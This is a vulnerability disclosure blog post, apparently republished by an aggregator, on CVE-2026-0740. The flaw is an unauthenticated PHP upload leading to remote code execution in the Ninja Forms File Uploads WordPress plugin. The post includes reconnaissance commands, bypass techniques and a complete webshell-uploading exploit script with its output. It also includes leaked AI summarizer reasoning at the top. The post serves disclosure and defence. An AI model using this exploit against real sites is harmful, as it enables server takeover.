Ninja Forms Uploads <= 3.3.26 - Arbitrary File Upload to RCE (CVE-2026-0740)
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,并且不需要特定的开头。首先,我得仔细阅读用户提供的文章内容,理解其主要信息。 文章讲的是Ambionics团队发现了一个零日漏洞CVE-2026-0740,存在于Ninja Forms - File Uploads WordPress插件中。这个漏洞允许未经身份验证的用户上传任意PHP文件,从而实现远程代码执行。文章还详细描述了漏洞的技术细节、检测方法和利用步骤,并提到了不同版本的插件如何受到影响以及修复情况。 接下来,我需要提取关键点:零日漏洞、CVE编号、影响版本、攻击方式(上传PHP文件)、检测方法(检查脚本或readme.txt)、修复版本(3.3.27)以及影响范围(广泛使用)。 然后,我要把这些信息浓缩到100字以内,确保语言简洁明了。需要注意的是,不需要使用“这篇文章”或“内容总结”这样的开头词。 可能会遇到的问题是如何在有限的字数内涵盖所有重要信息而不遗漏关键点。因此,我需要优先选择最重要的信息:漏洞名称、影响范围、攻击方式、检测方法和修复建议。 最后,组织语言,确保句子流畅且信息完整。 </think> Ninja Forms - File Uploads WordPress插件被发现存在零日漏洞CVE-2026-0740,允许未认证用户上传任意PHP文件并实现远程代码执行。该漏洞影响所有版本至3.3.26,通过检测页面脚本或readme.txt可识别受影响站点。利用该漏洞需获取nonce并通过自定义临时文件名绕过扩展检查和路径遍历限制。建议立即更新至3.3.27或更高版本以修复此问题。 2026-4-7 08:0:0 Author: blog.lexfo.fr(查看原文) 阅读量:1 收藏

Context

During a recent security audit conducted by the Ambionics team, we identified a critical zero-day vulnerability in the Ninja Forms - File Uploads WordPress plugin.

This vulnerability, now tracked as CVE-2026-0740, allows any unauthenticated visitor to upload arbitrary PHP files on the server, thereby achieving remote code execution.

In this post, we will walk through the technical details of this vulnerability, how to detect vulnerable targets, and how to exploit it.

Ninja Forms & Extensions

Ninja Forms is one of the most popular form builder plugins for WordPress, with over 600,000 active installations according to the official WordPress repository. This plugin includes a wide range of proprietary sub-extensions, each having its own unique features.

The Ninja Forms - File Uploads extension is a premium add-on that allows users to upload files through Ninja Forms. According to Wordfence database, this extension is active on over 57,944 websites.

With the widespread use of Ninja Forms, its premium extensions have become prime targets. Our research demonstrates that a single insecure AJAX handler in an add-on is all it takes to put tens of thousands of sites at risk.

Exploitation Conditions

This vulnerability affects all versions of Ninja Forms - File Uploads up to and including 3.3.26. The vulnerability was originally discovered and reported on version 3.3.23 and exploitation is straightforward up to version 3.3.24, as we will see later.

Versions 3.3.25 and 3.3.26 introduced successive patches that add increasing limitations to exploitation, but the issue is fully resolved only in version 3.3.27.

The following conditions must be met to exploit this vulnerability:

  • Ninja Forms plugin must be installed and activated (tested on version 3.13.3).
  • Ninja Forms - File Uploads plugin must be installed and activated (tested on version 3.3.24).
  • No active public form or pre-existing file upload field is required.

Before diving into the technical details, let's first explore how to detect vulnerable WordPress instances.

The presence of the plugin can be detected by looking for its specific assets in the page source. When it is installed and activated, the following script is typically loaded on the home page:

<script type="text/javascript" src=".../plugins/ninja-forms-uploads/assets/js/nfpluginsettings.js?ver=VERSION" id="file_uploads_nfpluginsettings-js"></script>

You can use automated tools like httpx from Project Discovery to detect the plugin and extract its version across multiple targets:

httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'

Example output:

http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]

Another way to determine the version is to parse the readme.txt file directly. However, this method only confirms that the plugin files are present and does not indicate whether it is currently active. It is then less reliable, less stealthy, and may be blocked in certain server configurations:

httpx -u http://localhost:8000 -path /wp-content/plugins/ninja-forms-uploads/readme.txt -ms 'Stable tag' -er 'Stable tag:\s[\d\.]+'

Example output:

http://localhost:8000/wp-content/plugins/ninja-forms-uploads/readme.txt [Stable tag: 3.3.24]

So now, let's dive into the Ninja Forms - File Uploads source code to understand the underlying mechanics of this vulnerability.

1. Entry Point & Intended Protections

The plugin registers two unauthenticated AJAX handlers to manage file uploads:

  • nf_fu_get_new_nonce
  • nf_fu_upload
<?php // includes/ajax/controllers/uploads.php:34

add_action( 'wp_ajax_nopriv_nf_fu_get_new_nonce', array( $this, 'get_new_nonce' ) );
add_action( 'wp_ajax_nopriv_nf_fu_upload', array( $this, 'handle_upload' ) );

The nf_fu_get_new_nonce action is specifically designed to provide clients with a valid security nonce on demand. By providing an arbitrary field_id, an attacker can effortlessly obtain the authorization required to trigger the nf_fu_upload endpoint, even if no file upload field exists on the site:

curl http://localhost:8000/wp-admin/admin-ajax.php -d 'action=nf_fu_get_new_nonce&field_id=1337'
{"success":true,"data":{"nonce":"f0c5f92b4a","nonce_expiry":1773100643}}

This is always true, even in the fully patched version 3.3.27.

Once authorized, the plugin attempts to block dangerous files, such as PHP scripts, through a _validate() function:

<?php // includes/ajax/controllers/uploads.php:261

if ( false === $this->_validate( $file ) ) {
    unset( $this->_data['files'][ $key ] );
    @unlink( $file['tmp_name'] );
    continue;
}

This validation involves sanitizing the filename and checking its extension against both a blacklist and a whitelist defined in the plugin's settings:

<?php // includes/ajax/controllers/uploads.php:463

$filename = sanitize_file_name( $file['name'] );

if ( ! $this->validate_file_type( $filename ) ) {
    return false;
}

$extension = pathinfo( $filename, PATHINFO_EXTENSION );

if ( ! $this->validate_extension_blacklist( $extension ) ) {
    return false;
}

if ( ! $this->validate_extension_whitelist( $extension ) ) {
    return false;
}

On paper, this multi-layered approach involving on-demand nonces and strict extension checks should provide robust security. In practice, both measures can be easily bypassed.

2. Bypassing Extension Checks: User-Controlled Filenames

The heart of the vulnerability lies in the plugin's flawed logic for handling temporary files during upload. The plugin allows the client to specify a custom temporary filename and trusts a user-supplied POST parameter for this purpose without any validation.

While the initial file metadata (from $_FILES) undergoes extension checks, the plugin allows this validated metadata to be "swapped" for a user-provided destination filename. The required parameter name is a slugified version of the original filename, where spaces ' ' and dots . are replaced by underscores _:

<?php // includes/ajax/controllers/uploads.php:267

$file_key     = strtolower( str_replace( array( ' ', '.' ), '_', $file['name'] ) );
$new_tmp_name = filter_input( INPUT_POST, $file_key );
if ( empty( $new_tmp_name ) ) {
    $new_tmp_name = $this->get_temp_filename( $file['name'] );
}

$new_tmp_file_path = NF_File_Uploads()->controllers->uploads->get_path( $new_tmp_name, true );

$append_file = $this->get_content_range() && is_file( $new_tmp_file_path ) && $file['size'] > NF_FU_Helper::get_file_size( $new_tmp_file_path );

if ( $append_file ) {
    $result = file_put_contents( $new_tmp_file_path, fopen( $file['tmp_name'], 'r' ), FILE_APPEND );
} else {
    $result = move_uploaded_file( $file['tmp_name'], $new_tmp_file_path );
}

If an attacker uploads a file named image.jpg, the extension check passes. However, by providing another POST parameter named image_jpg with the value shell.php, the attacker forces the plugin to use shell.php as the destination filename for the move_uploaded_file call.

The previous extension validation is entirely bypassed because it was performed on the literal string image.jpg, while the actual file is written to shell.php.

3. Reaching the Uploaded File

Once a PHP file is uploaded to the temporary directory (wp-content/uploads/ninja-forms/tmp/), server-side protections attempt to prevent its execution. The impact depends on the web server in use.

Apache

The plugin deploys a restrictive .htaccess file in the tmp/ directory:

ForceType application/octet-stream
Header set Content-Disposition attachment
<FilesMatch "(?i)\.(gif|jpe?g|png)$">
    ForceType none
    Header unset Content-Disposition
</FilesMatch>
Header set X-Content-Type-Options nosniff

However, the ForceType and Content-Disposition directives do not prevent PHP execution. These directives only control response headers, not how the server processes the request. When PHP is configured via mod_php or php-fpm, .php scripts are still interpreted regardless. The uploaded webshell is therefore directly executable from the tmp/ directory without any additional bypass.

Nginx

On Nginx, which is used in many WordPress installations, the wp-content/uploads/ directory typically returns a 403 Forbidden, preventing direct access to any uploaded file. In this case, path traversal is required to place the file outside the restricted directory.

Path Traversal

The user-controlled filename can be leveraged to escape the upload directory. In the get_path() function, the filename is blindly appended to the directory path without sanitization:

<?php // includes/admin/controllers/uploads.php:189

public function get_path( $filename = '', $temp = false ) {
    $file_path = $temp ? $this->get_temp_dir() : $this->get_base_dir();
    // ... filters ...
    return trailingslashit( $file_path ) . $filename;
}

By providing a value like ../../../shell.php in the image_jpg parameter, the file escapes the uploads/ directory and is written to wp-content/shell.php, which is web-accessible on both Apache and Nginx. This makes path traversal the most reliable exploitation method across all configurations.

Note that path traversal is mitigated in version 3.3.25 and later by using the sanitize_file_name function to sanitize input.

4. Extension Bypass per Version

As demonstrated above, achieving remote code execution is trivial up to version 3.3.24: no validation is applied to the destination filename, allowing arbitrary extensions and path traversal. Starting from version 3.3.25, successive patches introduced increasing restrictions on the destination filename, but each remained incomplete.

The following table summarizes which attack vectors and file extensions bypass the destination filename validation across each version of the plugin:

Vector / Extension<= 3.3.243.3.253.3.26>= 3.3.27
Path traversal (../)PASS---
.htaccess / .user.iniPASS---
.phpPASS---
.phtmlPASSPASS--
.pharPASSPASS--
.phtPASSPASSPASS-
.php3/4/5/7/8, .phpsPASSPASS--
.aspPASS---
.aspxPASSPASS--
.jspPASS---
.jspxPASSPASS--
.cgi, .pl, .py, .rbPASSPASS--
.sh, .bash, .zsh, .kshPASSPASS--
.cmd, .msi, .scrPASSPASS--
.exe, .bat, .comPASS---
.ps1, .psm1, .psd1PASSPASS--
.hta, .vbs, .vbe, .wsf, .wshPASSPASS--
.shtml, .shtm, .stmPASSPASS--
.jar, .warPASSPASS--
.cfm, .cfmlPASSPASS--
.html, .htm, .svg, .xml, .css, .jsPASSPASSPASS-
Double ext (shell.php.jpg)PASS---

Key takeaways:

  • <= 3.3.24: No validation on the destination filename. All vectors and extensions pass.
  • == 3.3.25: sanitize_file_name blocks path traversal and dotfiles. A 7-entry blacklist is added, but misses most dangerous extensions.
  • == 3.3.26: The blacklist is expanded to 40 entries, blocking most server-side extensions. However, .pht and common web extensions (.html, .svg, .js) still pass.
  • >= 3.3.27: A whitelist-based approach is applied to the destination filename, fully resolving the vulnerability.

By chaining these flaws, we can achieve remote code execution (RCE) via PHP webshell upload using a simple Bash script that automates the nonce retrieval, path traversal, file upload and code execution in just three curl requests.

#!/bin/bash
# =============================================================================
# Author:       Sélim Lanouar (@whattheslime)
# CVE:          CVE-2026-0740
# Date:         January 15th, 2026
# Title:        Ninja Forms Uploads - Remote Code Execution
# Vendor URL:   https://ninjaforms.com/extensions/file-uploads/
# Version:      <= 3.3.24
# -----------------------------------------------------------------------------
# Usage:        ./CVE-2026-0740.sh <target_url>
# =============================================================================

if [ "$#" -ne 1 ]; then
    echo "Usage: $0 <target_url>"
    exit 1
fi

target=$1

field_id=$(head /dev/urandom | tr -dc '1-9' | head -c 16 ; echo)
file_name=webshell.php
echo "[-] Writing webshell in /tmp/$file_name..."
echo '<?php system($_GET["cmd"]); ?>' > /tmp/$file_name

echo "[-] Fetching nonce for random field_id $field_id..."
nonce=$(curl -s -X POST "$target/wp-admin/admin-ajax.php" \
     -d "action=nf_fu_get_new_nonce&field_id=$field_id" | jq -r '.data.nonce')
echo "[+] Got nf_fu_upload nonce: $nonce"

echo "[-] Uploading webshell..."
response=$(curl -ks -X POST "$target/wp-admin/admin-ajax.php" \
     -F "action=nf_fu_upload" \
     -F "nonce=$nonce" \
     -F "form_id=$field_id" \
     -F "field_id=$field_id" \
     -F "image_jpg=../../../$file_name" \
     -F "files-$field_id=@/tmp/$file_name;filename=image.jpg;type=image/jpeg")
echo "[+] Upload response: $response"

command="curl -ks '$target/wp-content/$file_name?cmd=id'"
echo "[-] Executing the 'id' command via the uploaded webshell: $command"
result=$(eval $command)
echo "[+] Command output: $result"

Running the script against a vulnerable instance produces the following output:

./CVE-2026-0740.sh http://localhost:8000
[-] Writing webshell in /tmp/webshell.php...
[-] Fetching nonce for random field_id 8873162935451132...
[+] Got nf_fu_upload nonce: 6c3be636b0
[-] Uploading webshell...
[+] Upload response: {"data":{"files":[{"name":"image.jpg","full_path":"image.jpg","type":"image\/jpeg","tmp_name":"..\/..\/..\/webshell.php","error":0,"size":31,"new_tmp_key":"image_jpg"}]},"errors":[],"debug":[]}
[-] Executing the 'id' command via the uploaded webshell: curl -ks 'http://localhost:8000/wp-content/webshell.php?cmd=id'
[+] Command output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

A full exploit script is now available on GitHub.


CVE-2026-0740 highlights the importance of sanitizing all user-supplied input, especially when it concerns file paths and names. Unauthenticated endpoints that provide nonces or handle file uploads should always be treated with extreme caution.

Users are strongly advised to update the Ninja Forms - File Uploads plugin to version 3.3.27 or later immediately.

We would like to thank the Wordfence team for their swift communication and professional handling of this vulnerability report. For their detailed analysis on this vulnerability, check out their blog post.


  • [2026/01/07]: Ambionics discovered the vulnerability on their clients' WordPress instances.
  • [2026/01/08]: Ambionics reported the presence of a critical vulnerability to its clients and Wordfence.
  • [2026/01/08]: Wordfence validated the vulnerability, assigned CVE-2026-0740 and contacted Ninja Forms to provide full disclosure of the flaw.
  • [2026/01/26]: Ninja Forms released a partial fix in version 3.3.25: "sanitize uploaded file paths"
  • [2026/02/09]: Ninja Forms released a partial fix in version 3.3.26: "block executable file variants with expanded extension blacklist"
  • [2026/03/16]: Ninja Forms released a complete fix in version 3.3.27: "block destination filename whitelist bypass in file upload"
  • [2026/04/06]: Wordfence disclosed the vulnerability.
  • [2026/04/07]: Ambionics team released this blog post.

文章来源: https://blog.lexfo.fr/ninja-forms-uploads_rce.html
如有侵权请联系:admin#unsafe.sh